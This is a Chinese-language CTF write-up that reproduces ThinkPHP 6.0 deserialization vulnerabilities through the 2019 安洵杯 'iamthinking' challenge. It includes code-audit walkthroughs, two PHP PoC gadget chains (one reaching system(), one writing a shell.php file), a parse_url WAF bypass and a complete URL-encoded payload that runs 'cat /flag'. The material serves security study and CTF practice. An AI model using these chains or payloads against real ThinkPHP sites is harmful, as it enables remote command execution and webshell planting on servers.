从[安洵杯2019]iamthinking到thinkphp6.0反序列化漏洞复现

从[安洵杯2019]iamthinking到thinkphp6.0反序列化漏洞复现

环境搭建

1.访问www.zip下载源码,本地phpstrom中/public目录下搭建本地环境:php -S localhost:11702

代码审计

链子一

1.thinkphp6的漏洞修复点在于删除了thinkphp5中的thinkphp/library/think/process/pipes/Windows.php入口点以及删除了后面一些功能。使其无法作为触发__tostring()起点的方法进行序列化。

2.所以需要另找__tostring起点,全局在vendor类库目录下搜索__destruct方法,一共找到两个符合条件的,分别是\League\Flysystem\Cached\Storage\AbstractCache\think\Model,它们都能进入该方法后调用子类的save()方法。

3.先进入Model::__destruct中的save方法,跟进save()方法,然后我们需要进入Model::updateData方法。首先我们需要让$this->isEmpty()为假,该函数返回的是return empty($this->data);,所以让$this->data值不为空;接下来就是$this->trigger('BeforeWrite'),这个进入后只需要让$this->withEvent为假即可返回true。最后就是让$this->exists为真即可进入。

    public function save(array $data = [], string $sequence = null): bool
    {
        // 数据对象赋值
        $this->setAttrs($data);

        if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
            return false;
        }

        $result = $this->exists ? $this->updateData() : $this->insertData($sequence);

        if (false === $result) {
            return false;
        }

        // 写入回调
        $this->trigger('AfterWrite');

        // 重新记录原始数据
        $this->origin   = $this->data;
        $this->set      = [];
        $this->lazySave = false;

        return true;
    }

4.接下来继续需要进入到$this->checkAllowFields(),首先要让$data = $this->getChangedData()不为空绕过第一个if,如下所示,只需要让$this->force ? $this->data这两个属性均为真即可往下进入到checkAllowFields()

    protected function updateData(): bool
    {
        // 事件回调
        if (false === $this->trigger('BeforeUpdate')) {
            return false;
        }

        $this->checkData();

        // 获取有更新的数据
        $data = $this->getChangedData();

        if (empty($data)) {
            // 关联更新
            if (!empty($this->relationWrite)) {
                $this->autoRelationUpdate();
            }

            return true;
        }

        if ($this->autoWriteTimestamp && $this->updateTime && !isset($data[$this->updateTime])) {
            // 自动写入更新时间
            $data[$this->updateTime]       = $this->autoWriteTimestamp($this->updateTime);
            $this->data[$this->updateTime] = $data[$this->updateTime];
        }

        // 检查允许字段
        $allowFields = $this->checkAllowFields();
        ................

   public function getChangedData(): array
    {
        $data = $this->force ? $this->data : array_udiff_assoc($this->data, $this->origin, function ($a, $b) {
            if ((empty($a) || empty($b)) && $a !== $b) {
                return 1;
            }

            return is_object($a) || $a != $b ? 1 : 0;
        });

        // 只读字段不允许更新
        foreach ($this->readonly as $key => $field) {
            if (isset($data[$field])) {
                unset($data[$field]);
            }
        }

        return $data;
    }        

5.跟进,在第一个if检测字段else中采用了字符拼接$this->table . $this->suffix,在这就能触发__tostring方法。

    protected function checkAllowFields(): array
    {
        // 检测字段
        if (empty($this->field)) {
            if (!empty($this->schema)) {
                $this->field = array_keys(array_merge($this->schema, $this->jsonType));
            } else {
                $table = $this->table ? $this->table . $this->suffix : $query->getTable();
                $this->field = $query->getConnection()->getTableFields($table);
            }

            return $this->field;
        }

        $field = $this->field;

        if ($this->autoWriteTimestamp) {
            array_push($field, $this->createTime, $this->updateTime);
        }

        if (!empty($this->disuse)) {
            // 废弃字段
            $field = array_diff($field, $this->disuse);
        }

        return $field;
    }

6.因为该方法是抽象类,需要找一个可以实例化的子类,点击继承发现子类class Pivot。找tp5的__tostring()方法,套娃式进入toArray()方法,然后原本的漏洞点是触发__call最后触发call_user_func方法的,可是下面追加属性的功能来触发__call被修复了。进入到关联模型对象if中的$this->getAttr()方法中,首先需要让isset($this->visible[$key]为真,$key$data = array_merge($this->data, $this->relation);的键值。

            if ($val instanceof Model || $val instanceof ModelCollection) {
                // 关联模型对象
                if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
                    $val->visible($this->visible[$key]);
                } elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
                    $val->hidden($this->hidden[$key]);
                }
                // 关联模型对象
                if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
                    $item[$key] = $val->toArray();
                }
            } elseif (isset($this->visible[$key])) {
                $item[$key] = $this->getAttr($key);
            } elseif (!isset($this->hidden[$key]) && !$hasVisible) {
                $item[$key] = $this->getAttr($key);
            }

7.继续跟进getAttr()方法,通过getData()然后返回getValue()方法,最后再该方法中找到命令执行点$value = $closure($value, $this->data);

    protected function getValue(string $name, $value, $relation = false)
    {
        // 检测属性获取器
        $fieldName = $this->getRealFieldName($name);
        $method    = 'get' . Str::studly($name) . 'Attr';

        if (isset($this->withAttr[$fieldName])) {
            if ($relation) {
                $value = $this->getRelationValue($relation);
            }

            if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
                $value = $this->getJsonValue($fieldName, $value);
            } else {
                //$fieldName = a
                //withAttr[a] = system
                $closure = $this->withAttr[$fieldName];
                //value = system(ls,)
                $value   = $closure($value, $this->data);
            }
        } elseif (method_exists($this, $method)) {
            if ($relation) {
                $value = $this->getRelationValue($relation);
            }

            $value = $this->$method($value, $this->data);
        } elseif (isset($this->type[$fieldName])) {
            // 类型转换
            $value = $this->readTransform($value, $this->type[$fieldName]);
        } elseif ($this->autoWriteTimestamp && in_array($fieldName, [$this->createTime, $this->updateTime])) {
            $value = $this->getTimestampValue($value);
        } elseif ($relation) {
            $value = $this->getRelationValue($relation);
            // 保存关联对象值
            $this->relation[$name] = $value;
        }

        return $value;
    }

8.最后梳理一下代码逻辑;

Model::__desturct() --  $this->lazySave = 1 
-> Model::save() -- $this->data = 1 ,$this->withEvent = 0,$this->exists = 1
-> Model::updateData() -- trait Attribute::getChangedData() $this->force = 1,$this->data = 1
-> Model::checkAllowFields() --  $this->table = 123,$this->suffix = new Pivot
-> trait Conversion::__tostring ->trait Conversion::toJson
-> trait Conversion::toArray() -- $key = $this->data = ['guangji' = > "whoami"]
//$key = "guangji"就是传入的$name
-> trait Attribute::getAttr(string $name) -- return $this->getValue($name, $value, $relation)
-> trait Attribute::getValue(string $name, $value, $relation = false) -- $fieldName = $this->getRealFieldName($name) $this->strict = 1 ==> $fieldName = "guangji"
-- $this->withAttr[$fieldName] = "system"
-> serialize(new Pivot);

poc1

<?php
namespace think\model\concern{
    trait ModelEvent{
        protected $withEvent = false;
    }
    trait Attribute{
        protected $strict = true;
        private $data = ["guangji" => "whoami"];
        private $withAttr = ["guangji" => "system"];
    }
    trait Conversion{
    }
}
namespace think{
    abstract class Model {
        use model\concern\Attribute;
        use model\concern\Conversion;
        use model\concern\ModelEvent;
        private $lazySave;
        private $exists;
        private $force;
        protected $table;
        function __construct(){
            $this->lazySave = true;
            $this->exists = true;
            $this->force = true;
            $this->table = true;
        }
    }
}
namespace think\model {

    use think\Model;

    class Pivot extends Model
    {
        public function __construct($a = '')
        {
            parent::__construct();
            $this->table = $a;
        }
    }
    echo urlencode(serialize(new Pivot(new Pivot())));
}

在这里插入图片描述

注意

1.trait是为了解决php作为单继承语言无法从多父类继承方法和属性,从而引入的一个声明。当方法中想载入trait,就要通过use关键字使用它。

2.由于Model同时载入了trait Conversion和trait Attribute,我们需要通过抽象类Model的$table属性或$suffix来触发__tostring方法,同时满足条件的属性也是在父类Model构造函数中初始化的。但由于Model是抽象类,无法实例化对象,只能找它的子类Pivot来创建对象,但是父类的属性又必须初始化才能满足条件,所以子类的构造函数必须调用父类的构造函数来初始化父类的属性以满足条件。又因为要触发__tostring,所以创建的构造方法得有参数$a来满足该条件。

3.如下,当我们执行完命令后,是通过调用不存在的$query属性中方法抛出错误未定义变量:query,然后直接返回执行命令的结果。

$table = $this->table ? $this->table . $this->suffix : $query->getTable();
$this->field = $query->getConnection()->getTableFields($table);

链子二

1.开头说明了有两个__destrut()方法可以被利用,于是这条链子以League\Flysystem\Cached\Storage\AbstractCache::__destruct()作为起点。当时属性$this->autosave为假时,它调用接口的抽象方法save()。由于这是个抽象类,于是查找它子类的save()方法看看能不能有利用的。

    public function __destruct()
    {
        if (! $this->autosave) {
            $this->save();
        }
    }

2.在src/Storage/Adapter.php中找到了要调用的方法,可以看到下面调用了$this->adapter->write()方法。我们全局搜索write()方法,在src/Adapter/Local.php找到了可以被我们利用的write方法,

    public function save()
    {
        $config = new Config();
        $contents = $this->getForStorage();

        if ($this->adapter->has($this->file)) {
            $this->adapter->update($this->file, $contents, $config);
        } else {
            $this->adapter->write($this->file, $contents, $config);
        }
    }

3.可以看到,下面有file_put_contents函数可以被我们利用写马。首先它的第一个参数也就是文件名是可以被我们所控制的$this->file属性,写入的$contents内容跟进Adapter::getForStorage()方法去看。

    public function write($path, $contents, Config $config)
    {
        $location = $this->applyPathPrefix($path);
        $this->ensureDirectory(dirname($location));

        if (($size = file_put_contents($location, $contents, $this->writeFlags)) === false) {
            return false;
        }

        $type = 'file';
        $result = compact('contents', 'type', 'size', 'path');

        if ($visibility = $config->get('visibility')) {
            $result['visibility'] = $visibility;
            $this->setVisibility($path, $visibility);
        }

        return $result;
    }

4.它是直接返回json加密的数组,也就是$this->complete属性或$this->expire属性随便其中一个拿来作为我们写入的文件内容即可

    public function getForStorage()
    {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete, $this->expire]);
    }

5.执行poc后,在public目录下可以看见shell.php已经被写入成功了。
在这里插入图片描述

poc2

<?php
namespace League\Flysystem\Cached\Storage{
    use League\Flysystem\Adapter\Local;
    abstract class AbstractCache{
        protected $autosave = false;
    }
    class Adapter extends AbstractCache{
        protected $expire;
        protected $file;
        protected $adapter;
        function __construct(){
            $this->expire = "<?php phpinfo();?>";
            $this->file = "shell.php";
            $this->adapter = new Local();
        }
    }
}   
namespace League\Flysystem\Adapter{
    
    abstract class AbstractAdapter{
         protected $pathPrefix;
    }
    class Local extends AbstractAdapter{
        
    }
}
namespace{
    use League\Flysystem\Cached\Storage\Adapter;
    echo urlencode(serialize(new Adapter()));
}

在这里插入图片描述

题解

1.首先本地环境的waf我是注释了的,然后主要就是parse_url绕过,直接用该函数的解析缺陷,demo:"///public/index.php?payload=1";这会使函数解析url失败,返回false。

2.第二条文件写入的链子是用不了的,因为权限不足,无法创建目录。所以就用第一条链子生成的payload进行命令执行即可,payload:O%3A17%3A%22think%5Cmodel%5CPivot%22%3A8%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A8%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A9%3A%22%00%2A%00strict%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A7%3A%22guangji%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A7%3A%22guangji%22%3Bs%3A6%3A%22system%22%3B%7Ds%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3B%7Ds%3A9%3A%22%00%2A%00strict%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A7%3A%22guangji%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A7%3A%22guangji%22%3Bs%3A6%3A%22system%22%3B%7Ds%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3B%7D

Thinkphp6.0.x反序列化漏洞复现

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值